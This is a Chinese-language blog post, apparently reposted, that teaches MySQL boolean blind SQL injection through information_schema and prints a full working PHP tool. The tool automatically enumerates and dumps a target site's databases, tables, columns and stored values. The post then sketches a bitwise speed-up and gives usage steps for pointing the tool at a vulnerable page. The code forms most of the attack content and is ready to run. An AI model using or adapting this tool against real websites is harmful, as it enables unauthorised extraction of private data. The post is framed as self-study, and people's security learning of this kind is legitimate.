让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询
前言
由于一些個人原因,很久沒有研究WEB安全方面的一些問題了(廢話四個月前月還發了帖),正好炎炎夏日暑假的生活到來,這個時候我需要的是惡補,惡補,惡補。兜兜轉轉到了SQL盲注部分,然后在SQL盲注上面下了不少功夫,因為最初沒有怎么去理解它,都是拿著sqlmap一頓梭。原諒我非要把我的學習過程寫下來,取工具翻到最下最下最下就OK了。hhh。
information_schema圖
看什么看,這就是一張圖片
因為SQL盲注時注入數據會常用到information_schema庫,所以自己總結成一張圖片大家也抽空記憶一下
SQL盲注簡單又”復雜”的方法
針對于SQL盲注我們不會像聯合注入一樣非常輕松,有時需要burpsuite進行爆破,有時我們需要安裝sqlmap(沒有sqlmap我玩個寂寞啊),而有時結構復雜我們又非得自己寫工具,所以我們先看看關于SQL盲注的一些方法吧。
對于Mysql的內置函數,如database()等函數還是比較容易的。
在頁面返回true或false的情況下我們可以通過邏輯與運算,來進行判斷database()函數的長度,例如and length((select database()))=1、and length((select database()))=2、and length((select database()))=3…直到頁面返回true。隨后可以借助mid/substr字符串截取函數來進行一個一個字符的猜解。例如:and substr(database(),1,1)=’r’。那么當我們要進行獲取數據庫內的信息時,我們需要借助information_schema庫。但針對于SQL盲注來講,information_schema庫我們如果手工的話,可能這個夏天要過去了吧。
首先這里先了解一下盲注information_schema庫是怎么個玩法,再來編寫腳本。
我們要知道information_schema.schemata的schema_name有幾條(總共有幾個數據庫?),還要通過schema_name的條數來通過limit來對每一條的長度進行計算(我要得到的信息有幾位字母/數?),然后我們通過字符的長度來通過substr截取出來然后判斷每一個字符是什么(我要得到的信息是什么?)。好了,你成功的得到了一條數據。
我們的算法就是非常簡單,就是一個一個試,試一年,拿一個字符是一個字符,拿一條數據庫信息就是賺到,安全就是這么勤奮且有趣
針對于SQL盲注簡單又”復雜”的方法的PHP腳本編寫
<!DOCTYPE html> <html> <head><title>SQL盲注工具-.-By:T00ls</title><meta charset="utf-8"> </head> <body> <?php ini_set('max_execution_time',0); $dbname = isset($_GET['dbname']) ? $_GET['dbname'] : ''; $tablename = isset($_GET['tablename']) ? $_GET['tablename'] : ''; $columnname = isset($_GET['columnname']) ? $_GET['columnname'] : '';$_az = range('a','z'); $_AZ = range('A','Z'); $_19 = range('1','9'); $_other = array('@','_','.','%','/'); $_sum = array_merge($_az,$_AZ,$_19,$_other);$sqlUrl = 'http://www.phptest.com/6.php?id=1'; $okContent = file_get_contents($sqlUrl);if(!$dbname){$DBCount = 1;while(true){//獲取count$InjectionStatement = '+and+(select+count(schema_name)+from+information_schema.schemata)='.$DBCount.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){break;}else{$DBCount ++;}}$DBLengthArr = array();for($i = 0; $i < $DBCount; $i++){$TempNum = 1;while(true){$InjectionStatement = '+and+length((select+schema_name+from+information_schema.schemata+limit+'.$i.',1))='.$TempNum.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$DBLengthArr[$i] = $TempNum;break;}else{$TempNum ++;}}}$DBNameArr = array();foreach ($DBLengthArr as $Llimit => $dblength) {for ($i=1; $i <= $dblength; $i++) { foreach ($_sum as $key => $value) {$InjectionStatement = '+and+mid((select+schema_name+from+information_schema.schemata+limit+'.$Llimit.',1),'.$i.',1)="'.$value.'"'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$DBNameArr[$Llimit] .= $value;break;}}}}$DBName = implode('<br>',$DBNameArr);die('盲注完成,當前數據庫名稱有:<br>'.$DBName); }else{$InjectionStatement = '+and+find_in_set("'.$dbname.'",(SELECT+group_concat(schema_name,",")+FROM+information_schema.schemata+where+schema_name="'.$dbname.'"))'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting <> $okContent){die($dbname.'數據庫不存在,請重新復制粘貼,謝謝');} }if(!$tablename){$TBcountFlag = false;$TBlength = 1;while(true){$InjectionStatement = '+and+(SELECT+count(*)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'")='.$TBlength.'+--+';if(file_get_contents($sqlUrl.$InjectionStatement) == $okContent){break;}else{$TBlength ++;}}$TBNameArr = array();$TBSubArr = array();for($i = 1; $i <= $TBlength; $i++){$TBFlag = 1;while(true){$InjectionStatement = '+and+(SELECT+length(table_name)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.($i-1).',1)='.$TBFlag.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$TBSubArr[$i-1] .= $TBFlag;break;}else{$TBFlag ++;}} }foreach ($TBSubArr as $k => $v) {for($j = 1; $j <= $v; $j++){foreach ($_sum as $key => $value) {$InjectionStatement = '+and+mid((SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.$k.',1),'.$j.',1)="'.$value.'"'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$TBNameArr[$k] .= $value;break;}}}}$TBstring = implode('<br>',$TBNameArr);die('盲注完成,數據庫'.$dbname.'所擁有的表:<br>'.$TBstring);}else{$InjectionStatement = '+and+find_in_set("'.$tablename.'",(SELECT+group_concat(table_name,",")+FROM+information_schema.tables+where+table_name="'.$tablename.'"+and+table_schema=+"'.$dbname.'"))'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting <> $okContent){die($tablename.'表不存在,請重新復制粘貼,謝謝');} }if(!$columnname){$ColumnCount = 1;while(true){$InjectionStatement = '+and+(select+count(column_name)+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'")='.$ColumnCount.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){break;}else{$ColumnCount ++;}}$EveryColumnCountArr = array();for ($i=0; $i < $ColumnCount; $i++) { $EveryColumnCount = 1;while (true) {$InjectionStatement = '+and+length((select+column_name+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'"+limit+'.$i.',1))='.$EveryColumnCount.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$EveryColumnCountArr[$i] = $EveryColumnCount;break;}else{$EveryColumnCount ++;}}}$CMNameArr = array();foreach ($EveryColumnCountArr as $k => $v) { for($j = 1; $j <= $v; $j++){foreach ($_sum as $key => $value) {$InjectionStatement = '+and+mid((select+column_name+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'"+limit+'.$k.',1),'.$j.',1)="'.$value.'"'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$CMNameArr[$k] .= $value;break;}}}}$CMstring = implode('<br>',$CMNameArr);die('盲注完成,數據庫'.$dbname.'中'.$tablename.'表所擁有的字段:<br>'.$CMstring); }if($dbname && $tablename && $columnname){$strLen = 0;$columnTrueCount = '';$columnname = explode(',', $columnname);$columnCount = 1;while (true) {$InjectionStatement = '+and+(select+count('.$columnname[0].')+from+'.$dbname.'.'.$tablename.')='.$columnCount.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$columnTrueCount = $columnCount;break;}else{$columnCount ++;}}$columnLength = array();foreach ($columnname as $key => $value) {for ($i=0; $i < $columnTrueCount; $i++) {$flagLength = 1;while (true) {$InjectionStatement = '+and+length((select+'.$value.'+from+'.$dbname.'.'.$tablename.'+limit+'.$i.',1))="'.$flagLength.'"'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$columnLength[$i][$value] = $flagLength;break;}else{$flagLength ++;}}}}$ColumnContent = array();foreach ($columnLength as $lTrim => $lTrimValue) {foreach ($lTrimValue as $columnNames => $columnNamesLength) {for ($i=1; $i <= $columnNamesLength; $i++) { foreach ($_sum as $key => $value) {$InjectionStatement = '+and+mid((select+'.$columnNames.'+from+'.$dbname.'.'.$tablename.'+limit+'.$lTrim.',1),'.$i.',1)="'.$value.'"'.'+--+';$DBTesting = file_get_contents($sqlUrl.$InjectionStatement);if($DBTesting == $okContent){$ColumnContent[$lTrim][$columnNames] .= $value;break;}}}}} } ?> <table border=1><tbody><?php echo $dbname.'.'.$tablename.'下的'.implode('/',$columnname).'表';?></tbody><tr><?php foreach($columnname as $k=>$v):?><th><?php echo $v;?></th><?php endforeach;?></tr><?php foreach($ColumnContent as $k => $v):?><tr><?php foreach($v as $key=>$value):?><td><?php echo $value;?></td><?php endforeach;?></tr><?php endforeach;?> </table> </body> </html>歸根到底,復習還是復習,雖然算法比較簡單明了,也是需要嘗試一遍,花了一些時間實現了0x02所說的編寫思路,吐槽一下,代碼還是要天天寫,很久沒寫確實寫法都不一樣了,上述代碼是完全通過面向過程編寫,都沒有封裝方法,導致我只實現了get請求的獲取方式。
然后找一處SQL盲注的頁面:
使用說明書:
1.在21行中填寫我們要盲注的站點(注入類型必須為數字型)
2.在什么都不知道的情況下訪問一下該頁面。
可以看到完全一一對應
3.添加參數?dbname=要選擇查詢的數據庫
4.緊接著傳入參數tablename=要選擇查詢的表
5.傳入參數columnname=字段1,字段2…
通過Mysql位運算來優化訪問頻率
我們當然知道上面工具的執行效率,一個字,低!!!然而我們會想到二分法等算法來優化我們的代碼。但是這里給大家介紹的是Mysql位運算。
我們知道二分法是通過ascii碼來進行取大取小的,想到ascii碼就有趣了。如圖:字符a的ASCII碼值為97
那么我們看一下它的二進制
是1100001一共七位字符串,因為ASCII碼值1-127,十轉二進制255為最大,所以這里不會出現八位的情況。
那么我們通過substr/mid函數來依次截取二進制的第一位、二進制的第二位、…、二進制的第七位依次對1進行位運算中的與運算。
與運算圖:
然后通過與運算我們就可以獲取到數據的真正二進制數值,下面我們簡單獲取一下r字符的二進制碼。
將每次的結果進行拼接,可以得到r字母的ASCII值的二進制數。
那么我們進行二進制轉換為10進制,ASCII碼轉字符,即可知道數據的第一位是什么。
數據表中的每一位字符只需要七次就可以完成,比第一種方式快了許多許多。
那么我們這里要注意的是,mysql的bin函數結果不夠八位前面是沒有0字符的,因為我編寫腳本踩了坑,導致我盲注了一些非常古怪的字符。。。
我們通過mysql的lpad函數來進行前面補零,如圖:
還要注意的是數字類型返回六位二進制,如圖:
還好MySQL提供了補零函數,不然自己搞起來是真的麻煩。
整個邏輯搞清楚開始編寫位運算盲注代碼
Mysql位運算盲注代碼
這里為了不犯面向過程的錯誤,封裝了幾個方法,并且加入了POST請求盲注方式
代碼如下:
使用說明書:
1.還是之前的?dbname&tablename&columnname來進行獲取數據
2.添加?method=get/post來表明通過哪種方式盲注,如圖:
3.若要進行POST請求請在19-20行設置字段,如圖:
4.GET請求如果遇到字符串類型也需要自行閉合單引號,如圖:
工具使用注意事項
因為工具由PHP編寫,而SQL盲注屬于較大的工程,比較耗時間,PHP容器有時可能會報503超時錯誤,我們需要在nginx.conf文件中添加如下配置項
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
尾巴
頂個帖子,謝謝閱讀完,想看更多內容請到主頁觀看!!!
白嫖怪的福音來了
免費領取價值11980安全學習資料包
總結
以上是生活随笔為你收集整理的让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 别问我SolarWinds Orion
- 下一篇: 今年的hsctf里遇到了一个比较少见的n